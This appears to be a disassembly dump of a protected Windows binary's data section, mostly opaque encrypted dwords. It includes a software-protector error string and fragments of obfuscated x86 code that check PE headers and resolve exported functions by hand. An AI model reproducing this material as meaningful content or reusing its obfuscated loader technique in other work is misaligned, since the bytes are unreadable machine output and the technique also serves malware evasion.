		dd 0EAE92289h, 0E4FCBF9Bh, 56ABE2ACh, 7085BB01h, 848BD359h
		dd 597070A6h, 9E6F76D3h, 4310DBFCh, 1DED2Bh, 62F0000h
		dd 0ABF3C71Fh, 59702C65h, 7F6CF1D3h, 0B6819646h, 0ABEBD1E9h
		dd 611C76Fh, 0AAA87232h, 1EA7F590h, 2129h, 13062700h, 65ABEFC3h
		dd 0D359702Ch, 0FA1DBAF3h, 471B22E2h, 15C76FABh, 0A8722E02h
		dd 576Ch, 89ABAE00h, 0F137B4A2h, 0D35943BBh, 0E900BAC1h
		dd 8E324AD7h, 0AB774B8Bh, 59702C65h, 0B7D1F3D3h, 15417F21h
		dd 4898AA2h, 467CC217h,	4CD358A4h, 9BDF8B45h, 79FA6A7h
		dd 6FAB09EFh, 2E0215C7h, 0B4A372ABh, 0B0A883E9h, 51E6F070h
		dd 0C7FD4330h, 0CDD35875h, 0AC76AEC6h, 0DA1056ABh, 0E0D35970h
		dd 74E01FD9h, 238CC2A8h, 0FE61CD0Bh, 60FFFFFh, 92D8C511h
		dd 0DB04C351h, 0DCFBA057h, 2E4F480Bh, 5197EC41h, 0DB04C31Bh
		dd 1F021A21h, 0E6F1A87Fh, 182D4E1Bh, 3C29ED6Eh,	4C3C0F6h
		dd 8C4E87DBh, 0ACB3738Bh, 0C32357E1h, 253EDB04h, 50440EBAh
		dd 489DE3F3h, 9B000000h, 0B7A072ABh, 17071FECh,	0D35970DDh
		dd 0E4F91EC0h, 5970B5EEh, 967ED7D3h, 98E487A9h,	0E8B187ACh
		dd 5E8BD1D0h, 64DB0157h, 97805891h, 0EB21FFCCh,	0F1DB0156h
		dd 70B4C9EAh, 0D1h, 99BE6099h, 6C3001CEh, 0AB6D536Bh, 70DA1056h
		dd 1ABDD359h, 5B484FFDh, 5970DF15h, 0C6DEE5D3h,	0F4E13522h
		dd 0E3FB1CBBh, 0F43A8FE4h, 0D35970BEh, 8AD0BDC4h, 0D3597054h
		dd 4B3B535Ah, 0DB017CF2h, 0CB04F1F8h, 9BBC5B0Ch
		dd 0EDEAA97Ah, 0F89DD6D5h, 34E1CADFh, 3D1A5823h, 4DA6ECD9h
		dd 53E2ACD0h, 76265F4Ch, 0B1C99661h, 0BBDC79B2h, 64CA1A6h
		dd 0E2ACD0D0h, 0D4B7CFD6h, 7451007h, 93D9C60Eh,	0EA5820CBh
		dd 88DDCAD1h, 0C08B8C4Fh, 26F8DBF3h, 63331C31h,	104B7C74h
		dd 398E5B4h, 0E402Bh, 0F1E6B700h, 3621F3DCh, 77603821h
		dd 0BADD7962h, 0FE19BCA5h, 0B7EEDBE9h, 0F5DEF3E4h, 37203522h
		dd 77607562h, 0BB9BB0A7h, 0CA0D61Ch, 0CA6CBAEh,	17C75Eh
		dd 0F1E6B835h, 0DD486126h, 3D5AF932h, 87904225h, 0A6B1619Ah
		dd 2961678Eh, 0D1BA7FDh, 65FD9DEBh, 79910630h, 4C5Dh, 11065B00h
		dd 707DB3F9h, 7C83D359h, 83286E5Bh, 89DB0188h, 883A70B6h
		dd 3940DB01h, 92B44D18h, 0F14F0C87h, 573A520Fh,	927B9087h
		dd 0CE0CD7C0h, 457BC149h, 4BDB019Eh, 0F0362344h, 0E2A9AB97h
		dd 49D3C5Eh, 0C3E26265h, 0CFE4EBABh, 215C7E3h, 95C6E8EDh
		dd 412E5D6Eh, 0C094778Fh, 53820CD7h, 36D358D0h,	0B7617661h
		dd 4389765Eh, 0DB042274h, 4D86737Ah, 8B778C8Bh,	27F5E0AAh
		dd 130391Ch, 6370000h, 0ABF0C412h, 59702C65h, 986CF1D3h
		dd 7B1D56ABh, 1EE9EEACh, 8B763051h, 3C555318h, 8FB89EB6h
		dd 1F068E20h, 6A97F3C7h, 0AB766131h, 6E0C6DEh, 35CF2A13h
		dd 745B1397h, 72AB7F53h, 465107A0h, 0C28DAE7Bh,	0C5A2DDF5h
		dd 0AB92FAA3h, 521FEAEDh, 0D5037498h, 90AAD7BDh, 291EA7F5h
		dd 31h,	0C71F0627h, 2C65ABF3h, 32D35970h, 6FAB572Bh, 0B2A572ABh
		dd 0C2433E1h, 569C6F29h, 0D3597020h, 7B465103h,	0D8F900AEh
		dd 6CA87204h, 3Ch, 0C71F06AEh, 2C65ABF3h, 0F1D35970h, 34FF18BCh
		dd 0AB724667h, 5F781D56h, 59704B81h, 3DB645D3h,	0C0BB5F7Eh
		dd 0F4F30B12h, 611C7B8h, 568F7232h, 497FC586h, 4FD35970h
		dd 290F2748h, 0A7F590AAh, 1C291Eh, 6270000h, 0ABEFC313h
		dd 59702C65h, 572B32D3h, 15C76FABh, 0A8722E02h,	276Ch
		dd 1306AE00h, 4BF9832Ah, 5F80971Fh, 156AB8Bh, 597085BBh
		dd 6C848BD3h, 5970437Ch, 0AF8308D3h, 15C76FABh,	0A8722E02h
		dd 0FFFED76Ch, 3C7395FFh, 0D05104D8h, 47957F19h, 7D9E073Dh
		dd 11067F65h, 4A83D8C5h, 0F3C08B8Ch, 0C3AAEBDBh, 4F71DB04h
		dd 0AEDB2B13h, 37F70F40h, 480A4330h, 83903A4Fh,	0E2185E4Bh
		dd 0A9DB04CFh, 0E1ACAB70h, 353CFC14h, 4B4C0F48h, 0CFE2185Eh
		dd 0E1E8DB04h, 2E62ECC9h, 11DB04CFh, 8855047h, 0B4794453h
		dd 0E1B8309Bh, 2EB4A963h, 425BF415h, 4E672BD7h,	9ED7E3F3h
		dd 6F682CFBh, 9EB6834Eh, 1082h,	80BA8000h, 63D35970h, 4B8FA4B3h
		dd 0D6h, 0A989AB8Dh, 0C2F83E0Fh, 0C8D3589Eh, 0CE3E07C1h
		dd 366CB29Fh, 3CD3595Dh, 9C791D35h, 30054B38h, 0F7DB0165h
		dd 65265CA2h, 252CDB01h, 59464D0Dh, 0B425E204h,	2AA6C9EDh
		dd 135164Ch, 0B6651CDBh, 696880A1h, 1EBC6B30h, 0DAC3D8F9h
		dd 0D2084E3Dh, 0D8DB0135h, 0A7E5B0D1h, 337966AEh, 0E2AC87DEh
		dd 0B7F0DDE4h, 0E608F5E2h, 0DA37586Fh, 0FC233B90h, 0FF18BEF7h
		dd 405704E7h, 0F6DE3775h, 21B6E709h, 7A74197Eh,	551D6362h
		dd 5BEA5854h, 6C2E6754h, 2EF91EBBh, 422B4061h, 748F8790h
		dd 6DE5B45Ch, 0B0F00D8h, 0D5860000h, 10C4ADC2h,	4F09F207h
		dd 8C4A3348h, 0CE8D768Bh, 23A6B4C9h, 0AFC4D382h, 0EF0413C6h
		dd 31465106h, 6C819648h, 71A7ED8Ch, 77CBAE09h, 17C72FDDh
		dd 0E6B83500h, 70A9DF25h, 0CD8CD359h, 0F4151CCAh, 0EDEAAC29h
		dd 0E4F3A522h, 0D03B5419h, 54BFD8F1h, 0D80E54A9h, 0BBD35970h
		dd 6633FE19h, 0B699B1B8h, 0D8DEF3E4h, 1BA7FD92h, 4567h
		dd 11066500h, 8D92D8C5h, 93DB018Eh, 0B0669F8Ch,	0F70FDCA7h
		dd 0DAFD9D1Ah, 843ADCC5h, 0C39D76D5h, 240B8BA2h, 2A89B26Ch
		dd 81B7FDEAh, 87DB01B9h, 56945F80h, 0F2B565C1h,	0EE0F3027h
		dd 0C0E6BB01h, 0E5ECE2A9h, 15C7E4D0h, 93E8ED02h, 0C19FB85Ah
		dd 0D359708Bh, 82728A91h, 0D3597055h, 2433E31Ch, 91748C59h
		dd 14BED3C4h, 91E6D303h, 0CB968158h, 32F6E6FEh,	38DB04C3h
		dd 4B0B4431h, 0FC35344Ch, 154E3B5Ch, 163D5542h,	0A572AB2Ah
		dd 0D09A9AB2h, 461C27F5h, 7F4A4D0Dh, 8B7E9AB2h,	63000001h
		dd 7092C80Eh, 0E198D2D9h, 0E8002136h, 0C4120602h, 2C65ABF0h
		dd 0F3D35970h, 7022589Eh, 2128D359h, 4D30809h, 86A7B063h
		dd 0A6DC22BBh, 0ACD35970h, 8F6384A5h, 208F6FABh, 171F068Eh
		dd 0BC895443h, 0B68CAE9Bh, 0A0B767D9h, 684E08D5h, 0CBB1C92Dh
		dd 13068397h, 0AB6FEFC3h, 0A7F590AAh, 46291Eh, 6270000h
		dd 0A1DAC71Fh, 706735F2h, 0ECB7D8A5h, 0C025F886h, 365743F6h
		dd 43747B7Ch, 0E800489Fh, 0A672AB02h, 70699FE5h, 686FD359h
		dd 0B7A07647h, 215AA09Fh, 27D35970h, 6FAB4C20h,	320611C7h
		dd 3C6CA872h, 0AE000000h, 0F3C71F06h, 702C65ABh, 0D1F3D359h
		dd 0C2084273h, 0D358D18Ch, 61D18B92h, 0A9AAC2BBh, 56AB5024h
		dd 50DF9F34h, 0F4C18C8Bh, 458BE43Ah, 11C7472Dh,	0AF21E76Dh
		dd 90B1F250h, 0AAA872BCh, 1EA7F590h, 3D29h, 13062700h
		dd 99A7D12Ah, 9DBE4B5Dh, 2C65ABC9h, 32D35970h, 353E6D92h
		dd 0E70863A7h, 295FA5FAh, 2FD358F2h, 0AB2A1028h, 215C76Fh
		dd 0EF92F315h, 0FAAD995Ah, 0A872FCE2h, 4F6Ch, 56ABAE00h
		dd 5970DA10h, 0C1D9E0D3h, 0C80E3A1Dh, 0D3597092h, 83709198h
		dd 7118A961h, 0DCF661Eh, 0EBD1E90Ah, 702C65ABh,	6CF1D359h
		dd 0C76FAB98h, 0AB2E0215h, 28466089h, 0DCA5219h, 51723F0Ah
		dd 0E1E81E64h, 0E7EED358h, 7BB497CFh, 0C1A7BFD8h, 0FFFE6C6Ch
		dd 7F7395FFh, 3FCF47BBh, 9ABBDC80h, 11069C82h, 5192D8C5h
		dd 57DB04C3h, 682A6350h, 0A3B05A6Fh, 2387E6Bh, 0C9DB04C3h
		dd 0B4CCCB90h, 9822EDF4h, 0DB04C364h, 8B49827Fh, 0EE59748Ch
		dd 72A8EE43h, 78DB04C3h, 1737B771h, 4290E1FFh, 0AC602A2Ah
		dd 10B9E3F3h, 0B7000000h, 597080BAh, 0A4B363D3h, 0B94B8Fh
		dd 68D0000h, 92D8C511h,	0DB017419h, 0E6F1A7E0h,	0DA7D4E1Bh
		dd 0D25F2BDh, 0EFE1AD4Dh, 7DFA3076h, 0F900DB01h, 51D4F03Fh
		dd 0F4BFD880h, 0E0190627h, 0DA2F1C3Bh, 2635E94h, 455D64DBh
		dd 7760351Eh, 2DE96EACh, 0B6A9FA40h, 0F8AFE2ADh, 23103126h
		dd 152A2DEAh, 9D686F2Ch, 3369AF04h, 39E2ADB6h, 0E1761A32h
		dd 0ADF34835h, 0E2ADB677h, 5F5E767Dh, 59075119h, 635057EAh
		dd 5A6F682Ah, 0BEB6A171h, 0E5B5293Dh, 965D35CAh, 0D000007h
		dd 4D364B4Ch, 8A73888Fh, 0CBB4C9CEh, 0AF3080Fh,	29374C4Bh
		dd 415605A0h, 8394432Ch, 0C7D0856Eh, 0E09C9B2h,	347A19F9h
		dd 0CBAE05FEh, 0C7BC6A04h, 0B8350017h, 6126F1E6h, 8C4EDD48h
		dd 3A70768Bh, 1C1BA801h, 2A4C62FAh, 178D1AC5h, 2DBE7816h
		dd 5A768EC8h, 36h, 0C5110658h, 99A592D8h, 0A4ABDB01h, 99154FD9h
		dd 22F8DB01h, 28ED6A35h, 0C697642Fh, 73380314h,	7710EF5Ah
		dd 347F35Eh, 0F3E3FFD6h, 0E7FF18BAh, 47CBh, 1106C900h
		dd 5AB6D8C5h, 89A422C4h, 0C5908755h, 0C0BFD7F8h, 11BB97Ah
		dd 5208BFDBh, 0DC592445h, 1F081D3Ah, 0FD01BF7Fh, 8B1A5096h
		dd 1920DB00h, 1735B65Fh, 68ED2BF6h, 79BFACh, 0C7E2A8C8h
		dd 0B3CBCC8Eh, 0EBD7ECF3h, 7BDC91C3h, 0C7B0FF02h, 82A3C042h
		dd 552E4F95h, 2D34DB01h, 9FA33604h, 50C59B77h, 5E759784h
		dd 4F480F1Bh, 0EBFDB784h
		dd 0DE7B4C35h, 5CA2A1B9h, 0A31FDCB7h, 0A7C9B6BDh, 41CD154h
		dd 72ADCC5Ch, 0B36E5275h, 5F9D7A92h, 0EB311EF6h, 0AAC83990h
		dd 69A28F96h, 9291A9AEh, 4255043Dh, 9BB3A471h, 4F1E6B8h
		dd 393369AFh, 3239AAC8h, 0B5EEF31Ah, 0FCDFF7E0h, 447CA45Ah
		dd 0C39AB44h, 0E8ECF3EBh, 881D2424h, 638B0h, 0E9EEAF00h
		dd 2E29EBD4h, 6F683019h, 0B2A5715Ah, 0F6E1B49Dh, 0AFF6D3E1h
		dd 0EDD6EBECh, 2F182D2Ah, 6F586D6Ah, 0B393A8AFh, 498CE14h
		dd 49ECBAEh, 17C756h, 0F7E0B835h, 8FFCE80Ah, 90D92FC4h
		dd 0AEA75178h, 9E407966h, 0D626179h, 481304D4h,	2273637Bh
		dd 28DB04BBh, 0BBD90F55h, 0D8DFDB04h, 0A96FECB7h, 0F539B6AEh
		dd 0E176F4E1h, 5C809h, 799E3F00h, 0BED97B64h, 0FF18C0A9h
		dd 425501EAh, 8691442Dh, 3F666371h, 7D667B9Ch, 0BFA8BDDAh
		dd 0FFE8FD1Ah, 4323385Fh, 4285EA4h, 942ECBAEh, 0C51106E6h
		dd 0C33D92D8h, 8C43DB04h, 570FC9CEh, 4E481FB7h,	24BD88A9h
		dd 0DD5389CFh, 0A259DB04h, 0D7C4E5F2h, 4DD5B91h, 425A61DBh
		dd 0A69EB95Fh, 0F4E1D333h, 5E572FC4h, 0D5000005h, 15FE1304h
		dd 523B5047h, 937C9186h, 0D2BBD0C7h, 0F1FF1403h, 90ECDD8h
		dd 4B4C0BF4h, 8F884D36h, 0D6C1917Ah, 0FC42E1C1h, 0CBAE04C6h
		dd 68432CCh, 92D8C511h,	0DB04C339h, 0F06D383Fh,	0CA372F28h
		dd 7F4E1EDh, 5139A72h, 0C98A0000h, 0CD0B9CEh, 4B0DF60Bh
		dd 884E374Ch, 0C2917A8Fh, 17B2C0D5h, 0B3C8CF8Eh, 0F3080FCAh
		dd 354A4D0Ah, 788D8A4Ch, 7DB3F998h, 83CBAE03h, 17C73BE9h
		dd 78BE1300h, 0D3597042h, 9A657225h, 181FCDh, 0E3F4A623h
		dd 36F3D4F6h, 0EF8C3EBBh, 0F30B2C2Bh, 5CC7C216h, 0F50A0DCDh
		dd 824D4A0Ch, 0EFE8B0E9h, 1BAEE7D7h, 0E990D359h, 782FEF7Eh
		dd 475005A2h, 0BD8EAF7Ch, 6734FF18h, 96483146h,	9939B681h
		dd 56BF697Eh, 0A4B917Eh, 10DB0143h, 83A53E09h, 0AFE98121h
		dd 9617775h, 4D108C2h, 0F02A1A32h, 0BDB0092h, 97DB87F2h
		dd 87E3FF20h, 70888F4Eh, 2354h,	11065200h, 5D92D8C5h, 63DB0176h
		dd 0CAEBECACh, 763B75FFh, 3D56DB01h, 0FB6C26D2h, 0FBB5E3FFh
		dd 0B3000000h, 130017C7h, 704278BEh, 4148D359h,	0CCF4C29h
		dd 13C3400Bh, 557D8D6Bh, 516FD3A7h, 0FCDD191Fh,	31FC1D3Eh
		dd 0D1E57698h, 9D4C396h, 0DB97823Ch, 5DFDE0F8h,	382F253Ah
		dd 1BD3596Eh, 0EFE8AC7Bh, 0F6A8E1CEh, 314916E1h, 37E3050Ah
		dd 601CFFE2h, 0D082657Dh, 36574017h, 0EC282D6Bh, 2E64AAFFh
		dd 34D358EFh, 0D016152Dh, 0DB00FE63h, 0F0E7B269h, 72C0E2CFh
		dd 61762387h, 2441C3A7h, 0C6918653h, 10BAE1F9h,	9CE2CF07h
		dd 0E2AB80ECh, 38C52F2h, 830C2254h, 993C7562h, 0DD80697Eh
		dd 954BC2BAh, 0EF84FC18h, 39017h, 41560700h, 8691432Ch
		dd 0C7D08871h, 0A0DC9B2h, 4E490CF5h, 79E2B39h, 452E4354h
		dd 87708592h, 0C7B0C5D2h, 0BEB0017h, 1F0266Ch, 5CF6CBAEh
		dd 6A14C7AEh, 0E98D42C5h, 175D4ACAh, 0D35959E1h, 0D2BFE0E7h
		dd 27905FB0h, 7C947E33h, 0ADAA6C55h, 1106AC98h,	5D92D8C5h
		dd 63DB0176h, 3E54EAACh, 0D4BD06FCh, 11DCFD1Eh,	0A7DD2378h
		dd 0ADDB0263h, 6C3720F6h, 76667E9Fh, 0DB02633Ch, 27D33E57h
		dd 0E3FF0C63h, 10AB6h, 17C7B400h, 479C3500h, 5970CB01h
		dd 0B2CAD1D3h, 0BD5B0CCFh, 15AE799Ah, 51D3ADCh,	59751E15h
		dd 66C3E5D3h, 2E792E28h, 3FDFC2DAh, 781A0318h, 0C156945Fh
		dd 8DD32815h, 0D359BD57h, 0E7F0A65Dh, 162E4F1Ch, 19A0C217h
		dd 0C652E1F2h, 3EAB9BB3h, 44DB0264h, 0ACCDCA8Dh, 0EE246ABFh
		dd 0D1DB0263h, 7C491403h, 88AFC7CEh, 0B09D79DEh, 1C81395Bh
		dd 0F4249349h, 1B3E016h, 611C3DBh, 0B9C06E3Bh, 144DA2A1h
		dd 8855047h, 0AC794453h, 7483738Bh, 7AE2AC60h, 894D8673h
		dd 0DEF6C38Eh, 0E0F7A6DFh, 4A07D1F3h, 0D40473CFh, 0E9AC95BCh
		dd 9DA1F6EEh, 0B94EFC18h, 250E1h, 116C700h, 465103ECh
		dd 87904831h, 0CACD8972h, 0E09CCB5h, 0C7DEEBF9h, 5EE0314h
		dd 47304552h, 87708592h, 0CBABC0D7h, 0B0E62Ch, 1CB6CBAEh
		dd 5314C76Eh, 0FFCC9780h, 4B6C6B2Eh, 96DC3136h,	0D3597060h
		dd 0EC7FC666h, 0E6348547h, 8CAADC5h, 0C70EFA0Fh, 0B8350017h
		dd 0EB9341E6h, 85D3EC0Bh, 0A4C5E610h, 0A470E58Fh, 0C88471B7h
		dd 838ADB00h, 36E61FB8h, 71895621h, 0C84781h, 0DE4962DBh
		dd 0FF557832h, 2EC1E3h,	6BF0000h, 92D8C511h, 0DB018765h
		dd 813C0A2Ch, 0B16E5004h, 7622D999h, 0A8C99661h, 0FD1953DDh
		dd 1B34DB01h, 724E04B0h, 1393E3FFh, 91000000h, 597081BAh
		dd 62B2A3D3h, 87162F75h, 151CDB01h, 89AB1400h, 9C64EA9Ch
		dd 4D5B641Dh, 978B02BCh, 2730D4ECh, 27BC02EFh, 2DDB012Dh
		dd 97D15B26h, 0B2DB012Dh, 0C8822E99h, 2EE3FFBEh, 653027F5h
		dd 215C798h, 36526A37h,	36h, 7080BA34h,	0B5A2D359h, 8527461h
		dd 0F5F7D09Eh, 0EC414058h, 27F2E5B3h, 3952425Ah, 0DB009Bh
		dd 0CA1B02DEh, 0A7780F17h, 4D1AE5F2h, 596E7535h, 5A7D1B54h
		dd 11065C42h, 3192D8C5h, 37DB04C3h, 480A4330h, 81513A4Fh
		dd 888DCB96h, 0C40A5F4Ch, 0DB04C38Eh, 0C3D90F55h, 0D8DFDB04h
		dd 0B7A0732Ah, 2A7F7E96h, 1A3225F1h, 0B015462Ah, 0D40DE2h
		dd 1515D17h, 929C3119h,	0C6B3BA7Ah, 0B5CACD8Dh,	420D0ACCh
		dd 0D6C31304h, 585C0F90h, 0FE9DD6EAh, 29410ED9h, 0DF6A6269h
		dd 0D8E5B454h, 0AB6B43h, 71220000h, 0B4685166h,	0F3A58EA3h
		dd 30E6CFE4h, 6A291227h, 7F4A586Dh, 4B607726h, 8BA0B762h
		dd 0CDE2F5A2h, 102532E4h, 154B9130h, 1BCBADFFh,	1106D381h
		dd 0AA92D8C5h, 71DB04C2h, 5B736438h, 4CC9949Bh,	8F788D8Ah
		dd 73FDC8CFh, 32B44CD8h, 0EF7EE9E4h, 2A13282Fh,	27A46F68h
		dd 3769873h, 8FCFCBD5h,	1E1C5230h, 6B2232B4h, 0BD8EAFA8h
		dd 0CD7F81Fh, 17C70091h, 62CDE800h, 0FF1403D3h,	0F0A34416h
		dd 50C8884Eh, 0B9DA7D79h, 0DF34CD98h, 0B40C6399h, 0AEE42A32h
		dd 0B432B40Ch, 0E0F8FFADh, 8A2h, 0C692CB00h, 0DCD3B9D1h
		dd 116C73Eh, 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh, 0E6F1A421h
		dd 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h, 0EC833CF4h
		dd 24048904h, 405E089h,	83000000h, 48704E8h, 89565C24h
		dd 4C681E6h, 83000000h,	348704EEh, 14895C24h, 266E6824h
		dd 34890000h, 43B85024h, 0F779F613h, 0DD8F7D8h,	294F13E0h
		dd 5A5E7C2Dh, 1E88339h,	69F2805h, 58C289C7h, 8904EC83h
		dd 4812424h, 424h, 0EC815E00h, 4, 8F241489h, 34FF0846h
		dd 0C4835E24h, 2434FF04h, 4C4815Ah, 0E9000000h,	0FFFD0CBFh
		dd 75B81050h, 307AB72h,	0ECE0FFC5h, 122476D4h, 8F695C6Fh
		dd 5F6282A0h, 0C76309D9h, 3C0B8431h, 0E8423412h, 594E1985h
		dd 0CC741BA8h, 0C221D368h, 0EB5877DFh, 3B0E94D4h, 0E553021h
		dd 0A64A5F04h, 9866CF05h, 0B55A2BF3h, 42C7B4h, 0E1654838h
		dd 0A17BFDD8h, 4F2A459Dh, 0DF5A7933h, 55289B19h, 0D8175723h
		dd 527C34C0h, 0CB1A3893h, 0FE243024h, 3129D644h, 9B515642h
		dd 0E95F6CB7h, 83h, 56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh
		dd 68h,	3C43B70Fh, 8166D803h, 0F45503Bh, 5785h,	785B8B00h
		dd 1C245C03h, 324738Bh,	561C2474h, 8B207B8Bh, 7C031C73h
		dd 74032024h, 83FC2024h
		dd 8B41FFC9h, 8B1C245Ch, 24540317h, 4C78320h, 0C084028Ah
		dd 33A0874h, 4243E875h,	33AF2EBh, 0D15FE075h, 4B70FE1h
		dd 86048B0Fh, 1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h
		dd 8BFFFFFFh, 400E9CAh,	0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FD48+2B8h
		dd offset dword_44B1A4+4E5Ch
		dd 0
		dd 48E90000h, 0E9000011h, 13h, 2CC1407Dh, 22924844h, 0A275257Fh
		dd 0CD2B49C7h, 8B500A5Ah, 0A8037985h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0BEC5603Ch, 12E9h, 0F54F9700h, 1DB01D15h, 0EA313FFDh
		dd 202BC6DFh, 39FA7933h, 0F042444h, 6F85h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 381B886Bh, 0F5A4FA2Ah, 4DBD83F8h, 7A829h, 3E840Fh, 9E90000h
		dd 0E4000000h, 0AA295026h, 0E6297440h, 0DF858DF8h, 6A07A83Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E905C356h, 5, 0A56E9FF1h, 0FCE0FF20h, 1E35858Bh
		dd 7E907A8h, 0EC000000h, 0C3290B61h, 44394EA8h,	850F0424h
		dd 43h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
		dd 0CDC35545h, 1693C56h, 0A8298595h, 0F985C707h, 107AB77h
		dd 60000000h, 225DB501h, 9D8B07A8h, 7A80C89h, 0BD8D2961h
		dd 6007A800h, 9800Fh, 80600000h, 0BA6681CEh, 0E961EFCFh
		dd 46h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh
		dd 5C35646h, 0B35FDB0Fh, 60BB9ADCh, 13318589h, 0BE807A8h
		dd 0D1000000h, 9C1ACC71h, 84758F28h, 0BD8B724Ah, 7A807EDh
		dd 615Bh, 1B80000h, 87000000h, 0AB798585h, 75C00B07h, 19B5FFF6h
		dd 8F07A806h, 0AB77F185h, 6A206A07h, 0D95FFFFh,	8307A806h
		dd 0A81759BDh, 8740007h, 95FF006Ah, 7A80D21h, 5A1BD83h
		dd 740107A8h, 80680Dh, 0FF6A0000h, 60D95FFh, 6A07A8h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0D3B71DC3h, 14E9h, 528FEF00h, 2AED27A8h, 1CCAD85Dh
		dd 0BB2973C9h, 42C61495h, 319529DFh, 2B07A80Ah,	548BF8C0h
		dd 8B602824h, 0A8046D95h, 0FD958907h, 6107A80Fh, 330D8589h
		dd 958907A8h, 7A809E9h,	3CBEh, 0CE806000h, 14E9E2h, 5F150000h
		dd 0B1717C0Dh, 0AD3967F5h, 1484FF64h, 0D0D3A757h, 0E961FC0Fh
		dd 0Eh,	0BEBB3CE8h, 0CF2282CAh,	0E70E2A04h, 7403DEB9h
		dd 6A2424h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 5C5E0EC3h, 0FE8CE6A5h, 6DBD018Ch,	6607A835h
		dd 4403F8ADh, 840F2424h, 15h, 10E9h, 56732000h,	6D142ACAh
		dd 835ABC38h, 5EE80BBAh, 6E99036h, 91000000h, 0DB17C0E1h
		dd 56605087h, 2018B2BBh, 0B9665B5Dh, 90617516h,	6860Fh
		dd 95090000h, 7A80305h,	0FC78408Bh, 77F9BD83h, 0F0007ABh
		dd 0BF85h, 0F90FC00h, 1682h, 10810F00h,	0E9000000h, 0Bh
		dd 67B48E1Bh, 0B4F9129Eh, 500F4B08h, 0CB8B6660h, 61C88B66h
		dd 68D0F90h, 1000000h, 0A80A1185h, 0BD896007h, 7A81495h
		dd 448B61FCh, 6A2C24h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 89BD6DC3h, 0A82739BDh, 6E99007h
		dd 67000000h, 0C6EBDFA5h, 12E9502Fh, 0DE000000h, 0C1C4C9E7h
		dd 6303B8C8h, 14F31061h, 0E985DCF4h, 0BD8990FFh, 7A82CBDh
		dd 50FB858Dh, 6A07ABh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0C19852C3h, 1523554h, 0A827E59Dh
		dd 0FCD0FF07h, 28244403h, 18408BF9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0FAC35343h,	398D8947h, 4007A82Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C35040h
		dd 89B78D99h, 0A81969BDh, 0F5858907h, 6A07AB77h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 7F1EC351h, 895C71C1h, 0A8047185h, 7E907h, 98C50000h
		dd 0C804A58Ah, 666058E5h, 664DFCBEh, 616C26BFh,	8978708Bh
		dd 0A82DDDBDh, 1CC68307h, 0F8E0Fh, 0AE90000h, 3D000000h
		dd 4BB669BCh, 79E2AEADh, 6A962Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 5CDF40C3h, 0AB36A654h
		dd 247C81C6h, 24h, 0D1870F10h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 894CC353h
		dd 0A81AB185h, 60609007h, 870Fh, 8A610000h, 0E95061CBh
		dd 7, 4572A9C9h, 900751C6h, 19418D89h, 448B07A8h, 85292824h
		dd 7A81A49h, 56B06050h,	2FDD3CBEh, 489616Ah, 719D0124h
		dd 8D07A808h, 0AB50FB85h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0DCFAF2FFh
		dd 6018C913h, 0BE8h, 3EFA4400h,	0ADAE3E24h, 210316D3h
		dd 0CEDBD09h, 895B07A8h, 0A81ADDBDh, 0D0FF6107h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0D8C35040h, 4BAB4138h
		dd 8529FC80h, 7A80761h,	55006A96h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0C441BB85h, 397A66F9h
		dd 3F8F9BAh, 6A242474h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 40EC350h, 6890Fh, 9D310000h
		dd 7A80EADh, 0FCDBD8Dh,	6A07A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 58B2FDC3h, 0E7D22686h
		dd 6860Fh, 85010000h, 7A80FA9h,	55006AADh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 81DEEF68h
		dd 23898D01h, 7C8107A8h, 2424h,	870F1000h, 144h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 85C35040h, 0B8270D20h
		dd 646C59C8h, 0C995891Ch, 9007A80Eh, 18870Fh, 13E90000h
		dd 0FD000000h, 6E7DA442h, 2AEE6CDBh, 8881DCD0h,	856AA4C1h
		dd 0E9500617h, 9, 272987D1h, 6416BA94h,	6A90EEh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0A84B5C3h, 0E810B0DAh, 18A0Fh, 8BF80000h, 6A282444h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 53AAC352h, 0D6E18F54h, 79B531CFh,	0E907A80Fh
